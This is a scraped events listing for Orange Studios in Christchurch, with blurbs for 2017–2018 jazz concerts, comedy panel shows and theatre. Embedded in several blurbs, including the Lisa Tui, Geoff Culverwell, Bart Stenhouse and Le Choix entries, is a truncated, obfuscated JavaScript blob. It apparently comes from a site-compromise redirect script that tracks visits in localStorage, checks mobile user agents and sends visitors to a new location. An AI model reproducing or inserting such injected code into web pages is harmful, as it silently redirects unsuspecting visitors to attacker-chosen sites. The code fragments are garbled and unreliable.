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May 2017
Gary Starlight Sings the Blues – Thursday Night
In association with Cavell Leitch NZ International Jazz and Blues Festival 2017… Join singer/songwriter/entertainer/massage therapist Gary Starlight in an improvised musical comedy where not even the singer knows what he’ll be singing next. Gary Starlight’s career has had its highs and lows. But there’s one time where everything that could go wrong, did. Following his mildly successful recent comeback, Gary Starlight is back, and he’s feeling blue. Romantic disasters, musical misadventures, and questionable lifestyle choices are all laid bare as…
Find out more »Gary Starlight Sings the Blues – Friday Night
In association with Cavell Leitch NZ International Jazz and Blues Festival 2017… Join singer/songwriter/entertainer/massage therapist Gary Starlight in an improvised musical comedy where not even the singer knows what he’ll be singing next. Gary Starlight’s career has had its highs and lows. But there’s one time where everything that could go wrong, did. Following his mildly successful recent comeback, Gary Starlight is back, and he’s feeling blue. Romantic disasters, musical misadventures, and questionable lifestyle choices are all laid bare as…
Find out more »Gary Starlight Sings the Blues – Saturday Night
In association with Cavell Leitch NZ International Jazz and Blues Festival 2017… Join singer/songwriter/entertainer/massage therapist Gary Starlight in an improvised musical comedy where not even the singer knows what he’ll be singing next. Gary Starlight’s career has had its highs and lows. But there’s one time where everything that could go wrong, did. Following his mildly successful recent comeback, Gary Starlight is back, and he’s feeling blue. Romantic disasters, musical misadventures, and questionable lifestyle choices are all laid bare as…
Find out more »June 2017
The Ari Hoenig Group feat. Nitai Hershkovitz
Ari Hoenig is a jazz drummer, composer and educator known for his unusual and intense approach to drumming emphasising complex rhythms in direct harmony with other group members. Ari is widely noted particularly for his drumming not being relegated to just keeping tempo, or being a side issue to the music he plays in, but rather for elevating drumming as an indispensable part of the performance. Nitai Hershkovits is an Israeli jazz and classically trained pianist and composer. He has…
Find out more »Lisa Tui Live Recording
An extra special evening of original Jazz, folk and contemporary music with local Songwriter Lisa Tui. Joined by multi-instrumentalist Gary Easterbrook, Alastair Wallace on bass, Haze Usmar on vocals and her brother Nikora Jonathan playing lead guitar. The concert will be recorded live, a once only opportunity to be immersed in a stunning selection of newly written material. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let…
Find out more »July 2017
Nerd Degree: Wonders of Medicine
I'M NOT A DOCTOR BUT I PLAY ONE ON THE NERD DEGREE: Hi, everybody! Feeling under the weather? Suffering from an irony deficiency? The nerds have just the prescription: a trip through the pop culture medicine cabinet. First do no harm (but bad puns don’t count though, right?). WONDERNERDS ARE GO Wonders of the world, Wonder Woman, Wonderland, even One Direction... our nerds' minds will wander through them all. Join a wondrous whimsical once over of the wonderful wizardry of…
Find out more »NICK RADO & RAYBON KAN: The Authorised Bootleg Taping – Thursday
TWO COMEDIANS • TWO SHOWS • THREE NIGHTS • 13, 14, 15 JULY Comedians Nick Rado (Head Writer and guest panelist, 7 Days) & Raybon Kan (Best Comedian, Metro) visit Christchurch in July to perform their stand-up shows from this year’s NZ International Comedy Festival. Fresh from successful seasons in Auckland and Wellington, they’re coming to Christchurch to perform their laugh-packed shows, back-to- back, as a double feature. Nick Rado’s show, ‘Live, Laugh, Love’ and Raybon Kan’s show ‘Positive Pessimist’…
Find out more »NICK RADO & RAYBON KAN: The Authorised Bootleg Taping – Friday
TWO COMEDIANS • TWO SHOWS • THREE NIGHTS • 13, 14, 15 JULY Comedians Nick Rado (Head Writer and guest panelist, 7 Days) & Raybon Kan (Best Comedian, Metro) visit Christchurch in July to perform their stand-up shows from this year’s NZ International Comedy Festival. Fresh from successful seasons in Auckland and Wellington, they’re coming to Christchurch to perform their laugh-packed shows, back-to- back, as a double feature. Nick Rado’s show, ‘Live, Laugh, Love’ and Raybon Kan’s show ‘Positive Pessimist’…
Find out more »NICK RADO & RAYBON KAN: The Authorised Bootleg Taping – Saturday
TWO COMEDIANS • TWO SHOWS • THREE NIGHTS • 13, 14, 15 JULY Comedians Nick Rado (Head Writer and guest panelist, 7 Days) & Raybon Kan (Best Comedian, Metro) visit Christchurch in July to perform their stand-up shows from this year’s NZ International Comedy Festival. Fresh from successful seasons in Auckland and Wellington, they’re coming to Christchurch to perform their laugh-packed shows, back-to- back, as a double feature. Nick Rado’s show, ‘Live, Laugh, Love’ and Raybon Kan’s show ‘Positive Pessimist’…
Find out more »Project Miere
Project Miere are a family of performing artists with kapa haka as the base, the music is Maori in its origin with infusions of influence from jazz and folk to soul, funk and reggae. Music is the vehicle we use for intergenerational teaching and learning within our family so it was only natural to develop into the group we are today. Why Project Miere? Our eldest daughter's name is Miere meaning Honey which has been the biggest catalyst for us…
Find out more »August 2017
Nerd Degree: Librarians & Barbarians
It’s a catalogue of errors (but maybe some right answers too), as the Nerds delve into the arcane mysteries of that most intimidating of professions, LIBRARIANS. Will they dewey decimate their enemies in the ultimate librarian bun fight or will they play it by the book and reach shelf awareness? Lock up your daughters, valuables, and perishable foodstuffs, because the Nerds are opening up the gates to let the BARBARIANS in to help them answer a burning (village) question: what's…
Find out more »Nick Rado & Raybon Kan: The Official Bootleg Taping (Rescheduled)
Comedians Nick Rado (Head Writer and guest panellist, 7 Days) & Raybon Kan (Best Comedian, Metro) visit Christchurch in August to perform their stand-up shows from this year’s NZ International Comedy Festival. Fresh from successful seasons in Auckland and Wellington, they’re coming to Christchurch to perform and film their laugh-packed shows, back-to- back, as a double feature. Nick Rado’s show, ‘Live, Laugh, Love’ and Raybon Kan’s show ‘Positive Pessimist’ make for an unbeatable evening of comedy. Enjoy two one-hour stand-up…
Find out more »alae – spring tour
Auckland band Alae are returning to Christchurch’s Orange Studios after a fantastic sold out show in early in 2017. The band are touring New Zealand and Australia in August and Septmber off the back of their new single ‘Things Change’. This show will be a chance to hear Alae’s new songs they have been writing for their debut album out in 2018. This is Alae’s only Christchurch show before the end of the year so get in early as their…
Find out more »George Garzone
Tenor sax heavyweight and renowned educator George Garzone will be visiting NZ this August, with gigs and workshops in Auckland, Wellington and Christchurch. Garzone is well-known as a sought-after jazz educator, currently teaching at the Berklee College of Music. He has also previously taught at New England Conservatory, Longy School of Music, New York University, Manhattan School of Music, Northeastern University and the New School University. He has pioneered the triadic chromatic approach and students of his have included Joshua…
Find out more »September 2017
The Nerd Degree: Defence Against the Daft Arts & The Wicker Nerd
The Nerd Degree celebrates the Christchurch Arts Festival with two new episodes about Arts and Festivals. Join Brendon Bennetts for Defence Against the Daft Arts. Whether it be fine arts, martial arts, arts and crafts, or even the art of the deal; our nerds will prove that comedy is more of an art than a science. Then: What's your idea of a nerd festival? Something nice, like video game easter eggs or very special Christmas episodes? Or something nasty, like…
Find out more »A Sorcerer’s Appendix – Thursday
NO Productions Theatre presents two nights of radio! This is the NTC Light Programme. Tonight, the brand new comedy A Sorcerer’s Appendix is performed in front of a live studio audience… you! See the faces that launched a thousand words – some of them scripted; wonder at the sound effects – how does an axolotl squeak, a forest wind and a dungeon damp? Sigh as you hear the actors’ mellifluous tones; gasp at the evil plot and cry at the…
Find out more »A Sorcerer’s Appendix – Friday
NO Productions Theatre presents two nights of radio! This is the NTC Light Programme. Tonight, the brand new comedy A Sorcerer’s Appendix is performed in front of a live studio audience… you! See the faces that launched a thousand words – some of them scripted; wonder at the sound effects – how does an axolotl squeak, a forest wind and a dungeon damp? Sigh as you hear the actors’ mellifluous tones; gasp at the evil plot and cry at the…
Find out more »Join Li’l Chuck in the Studio
An exclusive invitation to join Li'l Chuck The One Man Skiffle Machine in the studio! Be one of 50 to join Li'l Chuck The One Man Skiffle Machine as he records his new music videos live at Orange Studio. Located in Ferrymead, Orange Studio is one of Christchurch's most prestigious recording facilities. The studio incorporates a concert auditorium, providing a rare chance to peek behind the scenes of a recording session as it happens. Li'l Chuck The One Man Skiffle…
Find out more »Last Tapes Theatre Company presents: Valerie (2 shows)
I'm starting to think about genetics, what's passed on. What isn't. I'm thinking of my grandmother, Valerie.” Named the stand-out cabaret of the year by the NZ Herald, Valerie is an inter-generational, inter-disciplinary and interrupting piece of cabaret theatre that reaches into the guts of family mythologies. Music, genetics and story-telling combine to unravel family history, and to shine a light on the future. Valerie is a love letter from grandson to grandmother. Gig-theatre at its finest, it is a…
Find out more »Jamie Oehlers & Tal Cohen ‘Innocent Dreamer’ Release Tour
One of Australia’s most prominent jazz saxophonists, Jamie Oehlers, teams up one of the hottest young jazz talents around, pianist Tal Cohen, to create some inspirational and thought provoking music. The two have been performing together now for nearly 10 years in a variety of settings, teaming up with artists like Ari Hoenig and Robert Hurst and performing together in various ensembles. This duo setting allows for an exploration of melody and space, tone and dynamics. This concert is a…
Find out more »October 2017
Ghana Grooves – Traditional Music & Dance
Kadodo West African Drum & Dance Come along to the Wednesday evening Ghana Grooves to experience the joy and exuberance of West African traditional music, drumming and dance performance. You will be amazed by the energy of Kofi Shabba (Ghana), Kofi Kunkpe (Ghana) and Koffie Fugah (Ghana) - three master drummers and dancers from Ghana. This will be a special night to enjoy the real traditional music and dance from these amazing artists. About the main performers Kofi Shabba is…
Find out more »Guy Buttery Debut NZ Tour – Orange Studios
“Guy Buttery is something of a National treasure”, says South Africa’s leading newspaper The Mercury. As an internationally recognized musician, this multi-instrumentalist enjoys invitations to play sell-out performances all over the globe. The USA, UK, Australia, France, Brazil, and Italy have all welcomed him back year after year. For the very first time, this multi-award winning luminary will be visiting New Zealand with numerous concerts on both North and South Island. To simply label Guy Buttery as one of South…
Find out more »November 2017
Nerd Degree: Rock and/or Roles
Hello listeners and welcome back once again to KNRD, hitting your goals for rock and roll. The Nerd Degree is over its Blurred Degree hangover and back with another double header. First, Ben gets the nerds to tackle the exciting world of rocks. Yes, rocks! From just sitting there to lying motionless, rocks can do it all. Did you know our planet is mostly made of them? That's the only rock fact we've got so far, but we're sure we'll…
Find out more »NAWR Ruthless LIVE
With five albums already behind him, and a building cult following on and off the web, NAWR is bringing his RAWR talents to you live in concert this November. Ruthless, arguably Nathaniel Roundhill's best yet, was released in July 2017. Featuring bangers such as "In Your Nightmares", "Kiwiana" and "Wing It" not to mention the title track "Ruthless", this album is already an experience to listen to, so just imagine the spectacle live! Smoke machines, lights, oufits and backing tracks.…
Find out more »Hetty Kate & James Sherlock
Join us for two nights of beautiful standards from The Great American Songbook as popular Australian jazz duo, Hetty Kate and James Sherlock return again to Orange Studio for two nights of concerts. Joined by outstanding local bassist Michael Story, this trio performed a sell out show at the Cavell Leitch New Zealand International Jazz and Blues Festival on their last visit, and they never come to New Zealand without returning to their favourite city, Christchurch. Hetty also toured New…
Find out more »The Andy Gibson Project “Broken Promises” Live Recording
The Andy Gibson Project seeks to make sense of the puzzle we find ourselves in, presenting honest songs around emotional states and psychological (dys)function. Often hopeful, always cathartic, these songs are the documentation of a journey. On Sat 25 November 2017, Andy will be joined by Maree Thom (Don McGlashan, Rodriguez) and a range of other collaborators to perform a very personal set of songs. These live recordings, which will become Andy’s third full-length album, chronologically depict the narrative arc…
Find out more »Sam Manzanza Afro Beat
Sam Manzanza will be visiting Christchurch to perform his infectious, hot and spicy brand of Afro beat to make audience feel magic, love, peace that comes with this style. Manzanza is not just musician, he is an experience not to be missed. "This high energy performance is sure to move your soul and make your temperature rise!" Sam Manzanza has performed his infectious brand of authentic African music to audiences all over the globe. His knowledge of traditional rhythms is…
Find out more »An Evening with Rosie Roulette
The Queen of Broken Hearts Melbourne's Disney Princess Queen of the Nerds That crazy b*tch Just some of the titles Rosie Roulette has earned whilst living and performing abroad in Australia. Now for ONE SHOW ONLY she returns to her hometown of Christchurch to play, perform, dance and sing a mix of her greatest moments from her career so far as a singer-songwriter and cabaret artist. Including numbers from her shows: The Queen of Broken Hearts, GEEK OUT! and Beauty…
Find out more »December 2017
Lauren Nottingham/Mark Donlon Project – Australasian Tour
Fresh from a spell in Berlin, New Zealand Jazz singer Lauren Nottingham has teamed up with UK pianist/composer Mark Donlon to present Australasia with a compelling program of Jazz spanning genres, languages and cultures. Their collaborations in 2016 saw the release of Donlon’s album 'Shadowbird' (Fuzzymoon Records UK), with Lauren featuring alongside award-winning Australian Saxophonist Jamie Oehlers. From German Gypsy-Jazz to re-interpretations of songs by Madonna and David Bowie, and also original tunes from 'Shadowbird', this dynamic international collaboration is…
Find out more »Nerd Degree Christmas: Star Wars Holiday Special Episode 3
'Tis the night before Star Wars and all through the base, the Last Jedi is stirring, out somewhere in space. The Nerd Degree Star Wars special returns on December 13, AKA Nerd Christmas Eve. Join our Nerds as they go way too deep on all things Star Wars, then celebrate a few of our nerdiest things in our Nerd Christmas special. (Then we’re all going to go and watch the Midnight screening of The Last Jedi). Nerd Degree is a…
Find out more »Paul Van Ross Trio
Paul Van Ross is an Australian born saxophonist / flutist and composer. He has performed, studied and recorded with top musicians in the USA, Cuba, Japan, Colombia, Germany, Australia and New Zealand. Teachers have included George Garzone, Ari Hoenig, George Coleman, Seamus Blake & Jamie Oehlers. Paul has delighted audiences in New Zealand on more than 14 occasions. His long standing collaboration of 15 years with colleague Mark Lockett (drums) is known to produce music that is highly interactive, energetic,…
Find out more »January 2018
Dungeons & Dragons… & Comedians!
For generations, Dungeons and Dragons has brought joy to nerds in lounges and basements around the world. Now it is time for D&D to emerge from the darkness and bring that joy into the light of a live audience. Join Dungeon Master Brendon Bennetts and a team of daring comedians as they roll dice, slay orcs, and shoot magic missiles for your amusement. It is sure to be a critical hit. Friday 16 February 7:30pm SOLD OUT Saturday 17 February…
Find out more »February 2018
Nerd Degree: Pun & Games
Christchurch 2017 Pun Battle Champion Jeff Clark (no withering comments, he already got a trophy) hosts a punderful show dealing with all things game: video games, board games, throne… games; this show will score highly for fun! These Nerds have got the monopoly on a wide range of scattergories, so scrabble for tickets, blow off some steam and enjoy - no microtransactions required. Having a great time is just one of the pun-intended consequences! Nerd Degree is a live comedy…
Find out more »Dungeons & Dragons… & Comedians!
For generations, Dungeons and Dragons has brought joy to nerds in lounges and basements around the world. Now it is time for D&D to emerge from the darkness and bring that joy into the light of a live audience. Join Dungeon Master Brendon Bennetts and a team of daring comedians as they roll dice, slay orcs, and shoot magic missiles for your amusement. It is sure to be a critical hit. Friday 16 February 7:30pm SOLD OUT Saturday 17 February…
Find out more »Hayden Chisholm | Paul Dyne | Norman Meehan – Unwind Tour
New Zealand born saxophonist Hayden Chisholm is one of finest jazz musicians to have emerged in this country. A native of Taranaki, Hayden has lived in Germany since the early 1990s where he has established himself as an instrumentalist and composer at the forefront of jazz in Europe. In 2018 he returns to New Zealand to undertake a national tour playing in jazz settings with Paul Dyne on bass and Norman Meehan on piano. The tour promotes their new album…
Find out more »March 2018
Nerd Degree: Them’s Fightin’ Nerds
Take off your glasses and roll up your sleeves as the nerds are faced with any nerd's worst nightmare: fights. From gunfights to bunfights and barroom brawls to Dragon uppercuts (Hadouken!), it's gonna be a bareknuckled-knockdown-drag-out-no-holds-barred slapfest, and the only rule is no eye gouging (this goes for you too, audience). No quarter will be given until we prove that contrary to what you may have heard, violence in fact solves everything. So angry up your blood and hit a…
Find out more »April 2018
Tim Bower Kanna Yabusaki Duo w. Mike Kime
Tim Bower originally from Christchurch and now based in Japan, will be joined by pianist Kanna Yabusaki and local bass player Mike Kime for this concert. The trio performed their first concert together in October 2016 and will return to play their new set of original jazz music inspired by Tim and Kanna's life experiences in Japan. Tim has been in Japan for the past eleven and a half years, in which time he has played with some of the…
Find out more »Trick of the Light Theatre: Tröll 5:30pm
From the makers of The Bookbinder comes a lo-fi wi-fi fable. It’s 1998. Otto is twelve but online he’s thirteen and he’s pretty sure he gets away with it. He lives in an old wooden two-story house with his mum, dad, and sister, a chain-smoking Icelandic granny, and an ancient malevolent tröll that’s living in the wall... It combines storytelling, music, and puppetry into an uncanny tale from the twitchy edges of the digital age. For adults and older children…
Find out more »Trick of the Light Theatre: Tröll 7:30pm
From the makers of The Bookbinder comes a lo-fi wi-fi fable. It’s 1998. Otto is twelve but online he’s thirteen and he’s pretty sure he gets away with it. He lives in an old wooden two-story house with his mum, dad, and sister, a chain-smoking Icelandic granny, and an ancient malevolent tröll that’s living in the wall... It combines storytelling, music, and puppetry into an uncanny tale from the twitchy edges of the digital age. For adults and older children…
Find out more »CAM+TOM with Burger Messiah
Retro tunes. Phunky goodness. A prodigal son returns... Retro duo CAM+TOM (Jazz Gourmet) have teamed up with funksteristas Burger Messiah and lovingly crafted a set of tunes for you to enjoy. CAM+TOM showcase their inner Kenny Loggins-meets-Chet Baker. Burger Messiah brings the funkiest (sic). Written and produced in Wellington and Christchurch. Written by Cam Stewart & Tom Harris, and joined by the incredible Si Hart, Rachael Travaille, Tim Heeringa, Nick Bosman, Andy Gibbs and Doug Brush, all on a sesame…
Find out more »Geoff Culverwell with V.S.O.P Quartet
Geoff Culverwell is one of New Zealand’s most prolific horn players, playing sessions from big band lead to pop and jazz recording and contributing to many film scores and tv themes. On this trip to Christchurch, this eclectic show will include everything from latin-neosoul and jazz grooves and be joined by esteemed instrumentalists of the trusty V.S.O.P (Very Special Old Pale) Quartet for this intimate studio show. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const…
Find out more »Bart Stenhouse Solo NZ Tour
Catch virtuosic Australian flamenco/jazz guitarist Bart Stenhouse (who has toured with gypsy jazz legend Lulo Reinhardt and Spanish flamenco guitarist Paco Heredia) in concert for a electrifying flamenco-jazz encounter! Joining him will be Wellington bassist Robert Henderson. Not to be missed! “Bart is one of the best up and coming jazz fusion artists right now” — Pandit Debashish Bhattacharya (Grammy Nominated Indian Classical Artist and Director of the India International Guitar Festival) bartstenhouse.com function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const…
Find out more »May 2018
PUSS – A Musical Comedy Cabaret
1 night ONLY! Join Puss for an evening of musical comedy as she recounts her glorious rise to fame and her heartbreaking fall from grace. An intimate evening filled with song, dance, love and hilarity that will leave you up to your eyeballs in Puss. A true master of the cabaret form, Puss will transport you from her humble beginnings on the mean streets of Mt Albert to her star studded journey to the Glamour Puss you’re all clamoring to…
Find out more »Dungeons & Dragons & Comedians III SOLD OUT
Dungeon Master Brendon Bennetts takes a band of comedic adventurers through a new batch of monsters, mysteries, and mishaps in this brand new adventure! Live at Orange Studios. Sponsored by Comics Compulsion, 58 Main North Road Papanui, Christchurch. For over sixteen years Comics Compulsion has been specializing in comics, wargaming, Games Workshop, role-playing and boardgames. www.comicscompulsion.com function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r…
Find out more »Impulse Theatre: Mask Life
SOME PEOPLE LIVE LIFE BEHIND A MASK We all have times in our lives when we put up a mask. We hide our true selves to avoid embarrassment, to meet social expectations, or to protect our fragile egos. MASK LIFE is a quirky comedy about life that pokes fun at the lives we lead and the masks we all wear. From the creators of Impulse Theatre's "Strangers", along with special guest, Pauline Calmé (Paris), comes a truly unique show that…
Find out more »Broken Lexicon – South Island Springboard Tour
Indie-Acoustic duo Broken Lexicon produce a sound that is part Folk-Funk, part Gypsy-Jazz, part Indie-Pop and entirely enthralling. The Wellington based duo is made up of New Zealand Singer/Songwriter Brook Davies and Russian born guitar virtuoso Alexey Medvedev. Together they weave lyrics full of warmth, charm and wit with stunning, percussive, finger-picking guitar compositions. Following the release of their debut album Springboard in November last year, Broken Lexicon have played several events in the lower North Island, and are now…
Find out more »Berardi/Foran/Karlen Trio at Orange Studios
In association with The Cavell Leitch Jazz and Blues Festival 2018, Orange Studios brings you two nights of intimate shows with one of Australasia's most stunning and unique modern jazz trios. Berardi/Foran/Karlen is the trifecta Kristin Berardi (vocals), Sean Foran (piano) and Rafael Karlen (tenor saxophone), known for their clear personal aesthetic and artistic voice. Highly awarded nationally and internationally as performers and composers, their combined experience is formidable with performances around the world at the Montreux, Tokyo, and Bremen…
Find out more »Berardi/Foran/Karlen Trio at Orange Studios
In association with The Cavell Leitch Jazz and Blues Festival 2018, Orange Studios brings you two nights of intimate shows with one of Australasia's most stunning and unique modern jazz trios. Berardi/Foran/Karlen is the trifecta Kristin Berardi (vocals), Sean Foran (piano) and Rafael Karlen (tenor saxophone), known for their clear personal aesthetic and artistic voice. Highly awarded nationally and internationally as performers and composers, their combined experience is formidable with performances around the world at the Montreux, Tokyo, and Bremen…
Find out more »June 2018
Nerd Degree: The Young and the Wrestlers
Can you smell what the Nerd Degree is cooking? Lace up your boots, ready your gimmicks, and grab your tag-team partner - it's time for us to lay the smackdown. Join us ringside and find out: what's the difference between a swanton bomb and a senton bomb? What do neon lightbulbs, folding chairs, and sledgehammers have in common? And just how backyard can backyard wrestling get? Only one team will walk away with the gold. . . . . Nerd…
Find out more »Impulse Theatre: Mask Life
SOME PEOPLE LIVE LIFE BEHIND A MASK We all have times in our lives when we put up a mask. We hide our true selves to avoid embarrassment, to meet social expectations, or to protect our fragile egos. MASK LIFE is a quirky comedy about life that pokes fun at the lives we lead and the masks we all wear. From the creators of Impulse Theatre's "Strangers", along with special guest, Pauline Calmé (Paris), comes a truly unique show that…
Find out more »Ol’ King Cole NZ Tour
Ol’ King Cole brings you the hits of the great Nat ‘King’ Cole & his trio. Performing the sounds of many other great tunes & artists of his era & more! Ol’ King Cole are a Wellington based Jazz trio lead by Piano/Vocalist, Louis Thompson-Munn. The drumless trio perform music inspired by the great Nat ‘King’ Cole and other artists of his era, specifically with a focus on Nat’s early trio which ran from 1943 – 1950. Louis is joined…
Find out more »Le Choix Live @ Orange
Le Choix is a European musical experience with a large catalogue of Euro classic/folk song as well as a selection of original compositions. At the core there is Emma Hughes Martinet (vocals and more) alongside Catherine Wells (keys). This charming duo will be joined by musical friends throughout the soirée. Come down for a delightful evening of "jolk" (jazz-folk) music being recorded live in the studio! function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const…
Find out more »July 2018
Nerd Degree: Age of Nerdquarius
Hey, like, what’s happening man? Don’t bogart that mint condition Batgirl #1. It’s fifty years on from the rise of the counterculture, so the nerds are gonna smear on some patchouli, chuck on some Ravi Shankar, and take you on the ultimate trip down the pop culture rabbit hole. Groovy. Nerd Degree is a live comedy panel show performed and recorded for podcast in front of a live audience on the first Wednesday of each month! Each episode sees two…
Find out more »Impulse Theatre: Strangers
STRANGERS is back! Impulse Theatre's hit show, "Strangers" returns to Christchurch. "Strangers" is a unique comedy-drama that explores the moment when two people meet, and how their relationship develops or disintegrates. Watch as our actors create beautiful moments of humour, heartbreak, and humanity in an unscripted exploration of the genesis of relationship. "Strangers" has delighted audiences at Fringe festivals around New Zealand. Don't miss your chance to see it, here, in Christchurch. "...engaging and funny, the silences were hilarious!! I…
Find out more »YURT PARTY Live @ Orange
